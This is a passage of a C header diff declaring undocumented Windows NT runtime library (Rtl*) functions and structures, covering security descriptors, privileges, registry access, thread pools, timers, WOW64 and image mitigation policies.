+NTAPI +RtlAddScopedPolicyIDAce( + _Inout_ PACL Acl, + _In_ ULONG AceRevision, + _In_ ULONG AceFlags, + _In_ ULONG AccessMask, + _In_ PSID Sid +); +#endif //NTDDI_VERSION >= NTDDI_WIN8 + +// Named pipes + +NTSYSAPI +NTSTATUS +NTAPI +RtlDefaultNpAcl( + _Out_ PACL* Acl +); +#endif // !_KERNEL_MODE + +// +// Security objects +// + +#ifndef _KERNEL_MODE + +NTSYSAPI +NTSTATUS +NTAPI +RtlNewSecurityObject( + _In_opt_ PSECURITY_DESCRIPTOR ParentDescriptor, + _In_opt_ PSECURITY_DESCRIPTOR CreatorDescriptor, + _Out_ PSECURITY_DESCRIPTOR* NewDescriptor, + _In_ BOOLEAN IsDirectoryObject, + _In_opt_ HANDLE Token, + _In_ PGENERIC_MAPPING GenericMapping +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlNewSecurityObjectEx( + _In_opt_ PSECURITY_DESCRIPTOR ParentDescriptor, + _In_opt_ PSECURITY_DESCRIPTOR CreatorDescriptor, + _Out_ PSECURITY_DESCRIPTOR* NewDescriptor, + _In_opt_ GUID* ObjectType, + _In_ BOOLEAN IsDirectoryObject, + _In_ ULONG AutoInheritFlags, // SEF_* + _In_opt_ HANDLE Token, + _In_ PGENERIC_MAPPING GenericMapping +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlNewSecurityObjectWithMultipleInheritance( + _In_opt_ PSECURITY_DESCRIPTOR ParentDescriptor, + _In_opt_ PSECURITY_DESCRIPTOR CreatorDescriptor, + _Out_ PSECURITY_DESCRIPTOR* NewDescriptor, + _In_opt_ GUID** ObjectType, + _In_ ULONG GuidCount, + _In_ BOOLEAN IsDirectoryObject, + _In_ ULONG AutoInheritFlags, // SEF_* + _In_opt_ HANDLE Token, + _In_ PGENERIC_MAPPING GenericMapping +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteSecurityObject( + _Inout_ PSECURITY_DESCRIPTOR* ObjectDescriptor +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlQuerySecurityObject( + _In_ PSECURITY_DESCRIPTOR ObjectDescriptor, + _In_ SECURITY_INFORMATION SecurityInformation, + _Out_opt_ PSECURITY_DESCRIPTOR ResultantDescriptor, + _In_ ULONG DescriptorLength, + _Out_ PULONG ReturnLength +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetSecurityObject( + _In_ SECURITY_INFORMATION SecurityInformation, + _In_ PSECURITY_DESCRIPTOR ModificationDescriptor, + _Inout_ PSECURITY_DESCRIPTOR* ObjectsSecurityDescriptor, + _In_ PGENERIC_MAPPING GenericMapping, + _In_opt_ HANDLE Token +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetSecurityObjectEx( + _In_ SECURITY_INFORMATION SecurityInformation, + _In_ PSECURITY_DESCRIPTOR ModificationDescriptor, + _Inout_ PSECURITY_DESCRIPTOR* ObjectsSecurityDescriptor, + _In_ ULONG AutoInheritFlags, // SEF_* + _In_ PGENERIC_MAPPING GenericMapping, + _In_opt_ HANDLE Token +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlConvertToAutoInheritSecurityObject( + _In_opt_ PSECURITY_DESCRIPTOR ParentDescriptor, + _In_ PSECURITY_DESCRIPTOR CurrentSecurityDescriptor, + _Out_ PSECURITY_DESCRIPTOR* NewSecurityDescriptor, + _In_opt_ GUID* ObjectType, + _In_ BOOLEAN IsDirectoryObject, + _In_ PGENERIC_MAPPING GenericMapping +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlNewInstanceSecurityObject( + _In_ BOOLEAN ParentDescriptorChanged, + _In_ BOOLEAN CreatorDescriptorChanged, + _In_ PLUID OldClientTokenModifiedId, + _Out_ PLUID NewClientTokenModifiedId, + _In_opt_ PSECURITY_DESCRIPTOR ParentDescriptor, + _In_opt_ PSECURITY_DESCRIPTOR CreatorDescriptor, + _Out_ PSECURITY_DESCRIPTOR* NewDescriptor, + _In_ BOOLEAN IsDirectoryObject, + _In_ HANDLE Token, + _In_ PGENERIC_MAPPING GenericMapping +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCopySecurityDescriptor( + _In_ PSECURITY_DESCRIPTOR InputSecurityDescriptor, + _Out_ PSECURITY_DESCRIPTOR* OutputSecurityDescriptor +); + +#endif // !_KERNEL_MODE + +// +// Misc. security +// + +#ifndef _KERNEL_MODE + +NTSYSAPI +VOID +NTAPI +RtlRunEncodeUnicodeString( + _Inout_ PUCHAR Seed, + _In_ PUNICODE_STRING String +); + +NTSYSAPI +VOID +NTAPI +RtlRunDecodeUnicodeString( + _In_ UCHAR Seed, + _In_ PUNICODE_STRING String +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlImpersonateSelf( + _In_ SECURITY_IMPERSONATION_LEVEL ImpersonationLevel +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlImpersonateSelfEx( + _In_ SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, + _In_opt_ ACCESS_MASK AdditionalAccess, + _Out_opt_ PHANDLE ThreadToken +); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlAdjustPrivilege( + _In_ ULONG Privilege, + _In_ BOOLEAN Enable, + _In_ BOOLEAN Client, + _Out_ PBOOLEAN WasEnabled +); + +#define RTL_ACQUIRE_PRIVILEGE_REVERT 0x00000001 +#define RTL_ACQUIRE_PRIVILEGE_PROCESS 0x00000002 + +NTSYSAPI +NTSTATUS +NTAPI +RtlAcquirePrivilege( + _In_ PULONG Privilege, + _In_ ULONG NumPriv, + _In_ ULONG Flags, + _Out_ PVOID* ReturnedState +); + +NTSYSAPI +VOID +NTAPI +RtlReleasePrivilege( + _In_ PVOID StatePointer +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlRemovePrivileges( + _In_ HANDLE TokenHandle, + _In_ PULONG PrivilegesToKeep, + _In_ ULONG PrivilegeCount +); +#endif + +#endif // !_KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_WIN8) + +NTSYSAPI +NTSTATUS +NTAPI +RtlIsUntrustedObject( + _In_opt_ HANDLE Handle, + _In_opt_ PVOID Object, + _Out_ PBOOLEAN UntrustedObject +); + +NTSYSAPI +ULONG +NTAPI +RtlQueryValidationRunlevel( + _In_opt_ PCUNICODE_STRING ComponentName +); +#endif + +// +// Private namespaces +// + +#ifndef _KERNEL_MODE + +// begin_private +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTSYSAPI +HANDLE +NTAPI +RtlCreateBoundaryDescriptor( + _In_ PUNICODE_STRING Name, + _In_ ULONG Flags +); + +NTSYSAPI +VOID +NTAPI +RtlDeleteBoundaryDescriptor( + _In_ HANDLE BoundaryDescriptor +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddSIDToBoundaryDescriptor( + _Inout_ PHANDLE BoundaryDescriptor, + _In_ PSID RequiredSid +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN7) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlAddIntegrityLabelToBoundaryDescriptor( + _Inout_ PHANDLE BoundaryDescriptor, + _In_ PSID IntegrityLabel +); +#endif +// end_private + +#endif // !_KERNEL_MODE + +// +// Version +// + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlGetVersion( + _Out_ + _At_(lpVersionInformation->dwOSVersionInfoSize, _Pre_ _Valid_) + _When_(lpVersionInformation->dwOSVersionInfoSize == sizeof(RTL_OSVERSIONINFOEXW), + _At_((PRTL_OSVERSIONINFOEXW)lpVersionInformation, _Out_)) + PRTL_OSVERSIONINFOW lpVersionInformation +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlVerifyVersionInfo( + _In_ PRTL_OSVERSIONINFOEXW VersionInfo, + _In_ ULONG TypeMask, + _In_ ULONGLONG ConditionMask +); + +#ifndef _KERNEL_MODE +// rev +NTSYSAPI +VOID +NTAPI +RtlGetNtVersionNumbers( + _Out_opt_ PULONG NtMajorVersion, + _Out_opt_ PULONG NtMinorVersion, + _Out_opt_ PULONG NtBuildNumber +); +#endif // !_KERNEL_MODE + +// +// System information +// + +// rev +NTSYSAPI +ULONG +NTAPI +RtlGetNtGlobalFlags( + VOID +); + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS1) + +NTSYSAPI +BOOLEAN +NTAPI +RtlGetNtProductType( + _Out_ PNT_PRODUCT_TYPE NtProductType +); + +NTSYSAPI +ULONG +NTAPI +RtlGetSuiteMask( + VOID +); +#endif + +// +// Thread pool (old) +// + +#ifndef _KERNEL_MODE + +NTSYSAPI +NTSTATUS +NTAPI +RtlRegisterWait( + _Out_ PHANDLE WaitHandle, + _In_ HANDLE Handle, + _In_ WAITORTIMERCALLBACKFUNC Function, + _In_ PVOID Context, + _In_ ULONG Milliseconds, + _In_ ULONG Flags +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeregisterWait( + _In_ HANDLE WaitHandle +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeregisterWaitEx( + _In_ HANDLE WaitHandle, + _In_opt_ HANDLE Event // optional: RTL_WAITER_DEREGISTER_WAIT_FOR_COMPLETION +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueueWorkItem( + _In_ WORKERCALLBACKFUNC Function, + _In_ PVOID Context, + _In_ ULONG Flags +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetIoCompletionCallback( + _In_ HANDLE FileHandle, + _In_ APC_CALLBACK_FUNCTION CompletionProc, + _In_ ULONG Flags +); + +typedef NTSTATUS(NTAPI* PRTL_START_POOL_THREAD)( + _In_ PTHREAD_START_ROUTINE Function, + _In_ PVOID Parameter, + _Out_ PHANDLE ThreadHandle + ); + +typedef NTSTATUS(NTAPI* PRTL_EXIT_POOL_THREAD)( + _In_ NTSTATUS ExitStatus + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetThreadPoolStartFunc( + _In_ PRTL_START_POOL_THREAD StartPoolThread, + _In_ PRTL_EXIT_POOL_THREAD ExitPoolThread +); + +NTSYSAPI +VOID +NTAPI +RtlUserThreadStart( + _In_ PTHREAD_START_ROUTINE Function, + _In_ PVOID Parameter +); + +#endif // !_KERNEL_MODE + +// +// Timer support +// + +#ifndef _KERNEL_MODE + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateTimerQueue( + _Out_ PHANDLE TimerQueueHandle +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateTimer( + _In_ HANDLE TimerQueueHandle, + _Out_ PHANDLE Handle, + _In_ WAITORTIMERCALLBACKFUNC Function, + _In_opt_ PVOID Context, + _In_ ULONG DueTime, + _In_ ULONG Period, + _In_ ULONG Flags +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlUpdateTimer( + _In_ HANDLE TimerQueueHandle, + _In_ HANDLE TimerHandle, + _In_ ULONG DueTime, + _In_ ULONG Period +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteTimer( + _In_ HANDLE TimerQueueHandle, + _In_ HANDLE TimerToCancel, + _In_opt_ HANDLE Event // optional: RTL_TIMER_DELETE_WAIT_FOR_COMPLETION +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteTimerQueue( + _In_ HANDLE TimerQueueHandle +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteTimerQueueEx( + _In_ HANDLE TimerQueueHandle, + _In_ HANDLE Event +); + +#endif // !_KERNEL_MODE + +// +// Registry access +// + +NTSYSAPI +NTSTATUS +NTAPI +RtlFormatCurrentUserKeyPath( + _Out_ PUNICODE_STRING CurrentUserKeyPath +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlOpenCurrentUser( + _In_ ACCESS_MASK DesiredAccess, + _Out_ PHANDLE CurrentUserKey +); + +#ifndef _KERNEL_MODE + +// +// The following values for the RelativeTo parameter determine what the +// Path parameter to RtlQueryRegistryValues is relative to. +// + +#define RTL_REGISTRY_ABSOLUTE 0 // Path is a full path +#define RTL_REGISTRY_SERVICES 1 // \Registry\Machine\System\CurrentControlSet\Services +#define RTL_REGISTRY_CONTROL 2 // \Registry\Machine\System\CurrentControlSet\Control +#define RTL_REGISTRY_WINDOWS_NT 3 // \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion +#define RTL_REGISTRY_DEVICEMAP 4 // \Registry\Machine\Hardware\DeviceMap +#define RTL_REGISTRY_USER 5 // \Registry\User\CurrentUser +#define RTL_REGISTRY_MAXIMUM 6 +#define RTL_REGISTRY_HANDLE 0x40000000 // Low order bits are registry handle +#define RTL_REGISTRY_OPTIONAL 0x80000000 // Indicates the key node is optional + +#endif // !_KERNEL_MODE + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateRegistryKey( + _In_ ULONG RelativeTo, + _In_ PWSTR Path +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlCheckRegistryKey( + _In_ ULONG RelativeTo, + _In_ PWSTR Path +); + +#ifndef _KERNEL_MODE + +typedef +_Function_class_(RTL_QUERY_REGISTRY_ROUTINE) +_IRQL_requires_max_(PASSIVE_LEVEL) +_IRQL_requires_same_ +NTSTATUS +NTAPI +RTL_QUERY_REGISTRY_ROUTINE( + _In_z_ PWSTR ValueName, + _In_ ULONG ValueType, + _In_reads_bytes_opt_(ValueLength) PVOID ValueData, + _In_ ULONG ValueLength, + _In_opt_ PVOID Context, + _In_opt_ PVOID EntryContext +); +typedef RTL_QUERY_REGISTRY_ROUTINE* PRTL_QUERY_REGISTRY_ROUTINE; + +typedef struct _RTL_QUERY_REGISTRY_TABLE +{ + PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine; + ULONG Flags; + PWSTR Name; + PVOID EntryContext; + ULONG DefaultType; + PVOID DefaultData; + ULONG DefaultLength; +} RTL_QUERY_REGISTRY_TABLE, * PRTL_QUERY_REGISTRY_TABLE; + +// +// The following flags specify how the Name field of a RTL_QUERY_REGISTRY_TABLE +// entry is interpreted. A NULL name indicates the end of the table. +// + +#define RTL_QUERY_REGISTRY_SUBKEY 0x00000001 // Name is a subkey and remainder of + // table or until next subkey are value + // names for that subkey to look at. + +#define RTL_QUERY_REGISTRY_TOPKEY 0x00000002 // Reset current key to original key for + // this and all following table entries. + +#define RTL_QUERY_REGISTRY_REQUIRED 0x00000004 // Fail if no match found for this table + // entry. + +#define RTL_QUERY_REGISTRY_NOVALUE 0x00000008 // Used to mark a table entry that has no + // value name, just wants a call out, not + // an enumeration of all values. + +#define RTL_QUERY_REGISTRY_NOEXPAND 0x00000010 // Used to suppress the expansion of + // REG_MULTI_SZ into multiple callouts or + // to prevent the expansion of environment + // variable values in REG_EXPAND_SZ + +#define RTL_QUERY_REGISTRY_DIRECT 0x00000020 // QueryRoutine field ignored. EntryContext + // field points to location to store value. + // For null terminated strings, EntryContext + // points to UNICODE_STRING structure that + // that describes maximum size of buffer. + // If .Buffer field is NULL then a buffer is + // allocated. + // + +#define RTL_QUERY_REGISTRY_DELETE 0x00000040 // Used to delete value keys after they + // are queried. + +#define RTL_QUERY_REGISTRY_NOSTRING 0x00000080 // THIS IS DEPRECATED - use RTL_QUERY_REGISTRY_TYPECHECK + // + // Used with RTL_QUERY_REGISTRY_DIRECT in + // cases where the caller expects a + // non-string value. Otherwise, the + // assumption that EntryContext points to + // a UNICODE_STRING structure can overrun + // the caller's buffer. + // + +#define RTL_QUERY_REGISTRY_TYPECHECK 0x00000100 // Used with RTL_QUERY_REGISTRY_DIRECT to + // validate the registry value type + // expected by caller with actual type thats + // read from the registry. + + +// +// Use the most significant byte of DefaultType from QueryTable, as the +// caller's expected REG_TYPE +// +#define RTL_QUERY_REGISTRY_TYPECHECK_SHIFT 24 +#define RTL_QUERY_REGISTRY_TYPECHECK_MASK (0xff << RTL_QUERY_REGISTRY_TYPECHECK_SHIFT) + +#endif // !_KERNEL_MODE + +#ifndef RtlQueryRegistryValues +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryRegistryValues( + _In_ ULONG RelativeTo, + _In_ PCWSTR Path, + _Inout_ _At_(*(*QueryTable).EntryContext, _Pre_unknown_) + PRTL_QUERY_REGISTRY_TABLE QueryTable, + _In_opt_ PVOID Context, + _In_opt_ PVOID Environment +); +#endif + +// rev +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryRegistryValuesEx( + _In_ ULONG RelativeTo, + _In_ PCWSTR Path, + _In_ PRTL_QUERY_REGISTRY_TABLE QueryTable, + _In_ PVOID Context, + _In_opt_ PVOID Environment +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlWriteRegistryValue( + _In_ ULONG RelativeTo, + _In_ PCWSTR Path, + _In_z_ PCWSTR ValueName, + _In_ ULONG ValueType, + _In_reads_bytes_opt_(ValueLength) PVOID ValueData, + _In_ ULONG ValueLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteRegistryValue( + _In_ ULONG RelativeTo, + _In_ PCWSTR Path, + _In_z_ PCWSTR ValueName +); + +// +// Thread profiling +// + +#ifndef _KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_WIN7) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlEnableThreadProfiling( + _In_ HANDLE ThreadHandle, + _In_ ULONG Flags, + _In_ ULONG64 HardwareCounters, + _Out_ PVOID* PerformanceDataHandle +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlDisableThreadProfiling( + _In_ PVOID PerformanceDataHandle +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryThreadProfiling( + _In_ HANDLE ThreadHandle, + _Out_ PBOOLEAN Enabled +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlReadThreadProfilingData( + _In_ HANDLE PerformanceDataHandle, + _In_ ULONG Flags, + _Out_ PPERFORMANCE_DATA PerformanceData +); +#endif + +#endif // !_KERNEL_MODE + +// +// WOW64 +// + +#ifndef _KERNEL_MODE + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetNativeSystemInformation( + _In_ ULONG SystemInformationClass, + _In_ PVOID NativeSystemInformation, + _In_ ULONG InformationLength, + _Out_opt_ PULONG ReturnLength +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueueApcWow64Thread( + _In_ HANDLE ThreadHandle, + _In_ PPS_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3 +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlWow64EnableFsRedirection( + _In_ BOOLEAN Wow64FsEnableRedirection +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlWow64EnableFsRedirectionEx( + _In_ PVOID Wow64FsEnableRedirection, + _Out_ PVOID* OldFsRedirectionLevel +); + +#endif // !_KERNEL_MODE + +// +// Misc +// + +NTSYSAPI +ULONG32 +NTAPI +RtlComputeCrc32( + _In_ ULONG32 PartialCrc, + _In_ PVOID Buffer, + _In_ ULONG Length +); + +#ifndef _KERNEL_MODE + +NTSYSAPI +PVOID +NTAPI +RtlEncodePointer( + _In_ PVOID Ptr +); + +NTSYSAPI +PVOID +NTAPI +RtlDecodePointer( + _In_ PVOID Ptr +); + +NTSYSAPI +PVOID +NTAPI +RtlEncodeSystemPointer( + _In_ PVOID Ptr +); + +NTSYSAPI +PVOID +NTAPI +RtlDecodeSystemPointer( + _In_ PVOID Ptr +); + +#if (NTDDI_VERSION >= NTDDI_WIN10) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlEncodeRemotePointer( + _In_ HANDLE ProcessHandle, + _In_ PVOID Pointer, + _Out_ PVOID* EncodedPointer +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlDecodeRemotePointer( + _In_ HANDLE ProcessHandle, + _In_ PVOID Pointer, + _Out_ PVOID* DecodedPointer +); +#endif + +#endif // !_KERNEL_MODE + +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlIsProcessorFeaturePresent( + _In_ ULONG ProcessorFeature +); + +#ifndef _KERNEL_MODE + +// rev +NTSYSAPI +ULONG +NTAPI +RtlGetCurrentProcessorNumber( + VOID +); + +#if (NTDDI_VERSION >= NTDDI_WIN10) +// rev +NTSYSAPI +VOID +NTAPI +RtlGetCurrentProcessorNumberEx( + _Out_ PPROCESSOR_NUMBER ProcessorNumber +); +#endif + +#endif // !_KERNEL_MODE + +// +// Stack support +// + +#ifndef _KERNEL_MODE + +NTSYSAPI +VOID +NTAPI +RtlPushFrame( + _In_ struct _TEB_ACTIVE_FRAME* Frame +); + +NTSYSAPI +VOID +NTAPI +RtlPopFrame( + _In_ struct _TEB_ACTIVE_FRAME* Frame +); + +NTSYSAPI +struct _TEB_ACTIVE_FRAME* +NTAPI +RtlGetFrame( + VOID +); + +#endif // !_KERNEL_MODE + +#define RTL_WALK_USER_MODE_STACK 0x00000001 +#define RTL_WALK_VALID_FLAGS 0x00000001 + +#ifndef _KERNEL_MODE +#define RTL_STACK_WALKING_MODE_FRAMES_TO_SKIP_SHIFT 0x00000008 +#endif // !_KERNEL_MODE + +// private +NTSYSAPI +ULONG +NTAPI +RtlWalkFrameChain( + _Out_writes_(Count - (Flags >> RTL_STACK_WALKING_MODE_FRAMES_TO_SKIP_SHIFT)) PVOID* Callers, + _In_ ULONG Count, + _In_ ULONG Flags +); + +#ifndef _KERNEL_MODE +#if (defined(_M_AMD64) || defined(_M_IA64)) && !defined(_REALLY_GET_CALLERS_CALLER_) + +#define RtlGetCallersAddress(CallersAddress, CallersCaller) \ + *CallersAddress = (PVOID)_ReturnAddress(); \ + *CallersCaller = NULL; + +#else + +NTSYSAPI +VOID +NTAPI +RtlGetCallersAddress( + _Out_ PVOID* CallersAddress, + _Out_ PVOID* CallersCaller +); + +#endif +#endif // !_KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_WIN7) +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +ULONG64 +NTAPI +RtlGetEnabledExtendedFeatures( + _In_ ULONG64 FeatureMask +); +#endif + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS4) +// msdn +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +ULONG64 +NTAPI +RtlGetEnabledExtendedAndSupervisorFeatures( + _In_ ULONG64 FeatureMask +); + +// msdn +_Ret_maybenull_ +_Success_(return != NULL) +NTSYSAPI +PVOID +NTAPI +RtlLocateSupervisorFeature( + _In_ PXSAVE_AREA_HEADER XStateHeader, + _In_range_(XSTATE_AVX, MAXIMUM_XSTATE_FEATURES - 1) ULONG FeatureId, + _Out_opt_ PULONG Length +); +#endif + +// private +typedef union _RTL_ELEVATION_FLAGS +{ + ULONG Flags; + struct + { + ULONG ElevationEnabled : 1; + ULONG VirtualizationEnabled : 1; + ULONG InstallerDetectEnabled : 1; + ULONG ReservedBits : 29; + }; +} RTL_ELEVATION_FLAGS, * PRTL_ELEVATION_FLAGS; + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryElevationFlags( + _Out_ PRTL_ELEVATION_FLAGS Flags +); +#endif + +#ifndef _KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_VISTA) +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlRegisterThreadWithCsrss( + VOID +); + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlLockCurrentThread( + VOID +); + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlUnlockCurrentThread( + VOID +); + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlLockModuleSection( + _In_ PVOID Address +); + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlUnlockModuleSection( + _In_ PVOID Address +); +#endif + +#endif // !_KERNEL_MODE + + +// +// Event Trace +// + +#ifndef _KERNEL_MODE + +// begin_msdn:"Winternl" +#define RTL_UNLOAD_EVENT_TRACE_NUMBER 64 + +// private +typedef struct _RTL_UNLOAD_EVENT_TRACE +{ + PVOID BaseAddress; + SIZE_T SizeOfImage; + ULONG Sequence; + ULONG TimeDateStamp; + ULONG CheckSum; + WCHAR ImageName[32]; + ULONG Version[2]; +} RTL_UNLOAD_EVENT_TRACE, * PRTL_UNLOAD_EVENT_TRACE; + +typedef struct _RTL_UNLOAD_EVENT_TRACE32 +{ + ULONG BaseAddress; + ULONG SizeOfImage; + ULONG Sequence; + ULONG TimeDateStamp; + ULONG CheckSum; + WCHAR ImageName[32]; + ULONG Version[2]; +} RTL_UNLOAD_EVENT_TRACE32, * PRTL_UNLOAD_EVENT_TRACE32; + +NTSYSAPI +PRTL_UNLOAD_EVENT_TRACE +NTAPI +RtlGetUnloadEventTrace( + VOID +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTSYSAPI +VOID +NTAPI +RtlGetUnloadEventTraceEx( + _Out_ PULONG * ElementSize, + _Out_ PULONG * ElementCount, + _Out_ PVOID * EventTrace // works across all processes +); +#endif +// end_msdn + +#endif // !_KERNEL_MODE + +// +// Performance Counter +// + +#ifndef _KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_WIN7) +// rev +NTSYSAPI +LOGICAL +NTAPI +RtlQueryPerformanceCounter( + _Out_ PLARGE_INTEGER PerformanceCounter +); + +// rev +NTSYSAPI +LOGICAL +NTAPI +RtlQueryPerformanceFrequency( + _Out_ PLARGE_INTEGER PerformanceFrequency +); +#endif + +#endif // !_KERNEL_MODE + +// +// Image Mitigation +// + +#ifndef _KERNEL_MODE + +// rev +typedef enum _IMAGE_MITIGATION_POLICY +{ + ImageDepPolicy, // RTL_IMAGE_MITIGATION_DEP_POLICY + ImageAslrPolicy, // RTL_IMAGE_MITIGATION_ASLR_POLICY + ImageDynamicCodePolicy, // RTL_IMAGE_MITIGATION_DYNAMIC_CODE_POLICY + ImageStrictHandleCheckPolicy, // RTL_IMAGE_MITIGATION_STRICT_HANDLE_CHECK_POLICY + ImageSystemCallDisablePolicy, // RTL_IMAGE_MITIGATION_SYSTEM_CALL_DISABLE_POLICY + ImageMitigationOptionsMask, + ImageExtensionPointDisablePolicy, // RTL_IMAGE_MITIGATION_EXTENSION_POINT_DISABLE_POLICY + ImageControlFlowGuardPolicy, // RTL_IMAGE_MITIGATION_CONTROL_FLOW_GUARD_POLICY + ImageSignaturePolicy, // RTL_IMAGE_MITIGATION_BINARY_SIGNATURE_POLICY + ImageFontDisablePolicy, // RTL_IMAGE_MITIGATION_FONT_DISABLE_POLICY + ImageImageLoadPolicy, // RTL_IMAGE_MITIGATION_IMAGE_LOAD_POLICY + ImagePayloadRestrictionPolicy, // RTL_IMAGE_MITIGATION_PAYLOAD_RESTRICTION_POLICY + ImageChildProcessPolicy, // RTL_IMAGE_MITIGATION_CHILD_PROCESS_POLICY + ImageSehopPolicy, // RTL_IMAGE_MITIGATION_SEHOP_POLICY + ImageHeapPolicy, // RTL_IMAGE_MITIGATION_HEAP_POLICY + MaxImageMitigationPolicy +} IMAGE_MITIGATION_POLICY; + +// rev +typedef union _RTL_IMAGE_MITIGATION_POLICY +{ + struct + { + ULONG64 AuditState : 2; + ULONG64 AuditFlag : 1; + ULONG64 EnableAdditionalAuditingOption : 1; + ULONG64 Reserved : 60; + }; + struct + { + ULONG64 PolicyState : 2; + ULONG64 AlwaysInherit : 1; + ULONG64 EnableAdditionalPolicyOption : 1; + ULONG64 AuditReserved : 60; + }; +} RTL_IMAGE_MITIGATION_POLICY, * PRTL_IMAGE_MITIGATION_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_DEP_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY Dep; +} RTL_IMAGE_MITIGATION_DEP_POLICY, * PRTL_IMAGE_MITIGATION_DEP_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_ASLR_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY ForceRelocateImages; + RTL_IMAGE_MITIGATION_POLICY BottomUpRandomization; + RTL_IMAGE_MITIGATION_POLICY HighEntropyRandomization; +} RTL_IMAGE_MITIGATION_ASLR_POLICY, * PRTL_IMAGE_MITIGATION_ASLR_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_DYNAMIC_CODE_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY BlockDynamicCode; +} RTL_IMAGE_MITIGATION_DYNAMIC_CODE_POLICY, * PRTL_IMAGE_MITIGATION_DYNAMIC_CODE_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_STRICT_HANDLE_CHECK_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY StrictHandleChecks; +} RTL_IMAGE_MITIGATION_STRICT_HANDLE_CHECK_POLICY, * PRTL_IMAGE_MITIGATION_STRICT_HANDLE_CHECK_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_SYSTEM_CALL_DISABLE_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY BlockWin32kSystemCalls; +} RTL_IMAGE_MITIGATION_SYSTEM_CALL_DISABLE_POLICY, * PRTL_IMAGE_MITIGATION_SYSTEM_CALL_DISABLE_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_EXTENSION_POINT_DISABLE_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY DisableExtensionPoints; +} RTL_IMAGE_MITIGATION_EXTENSION_POINT_DISABLE_POLICY, * 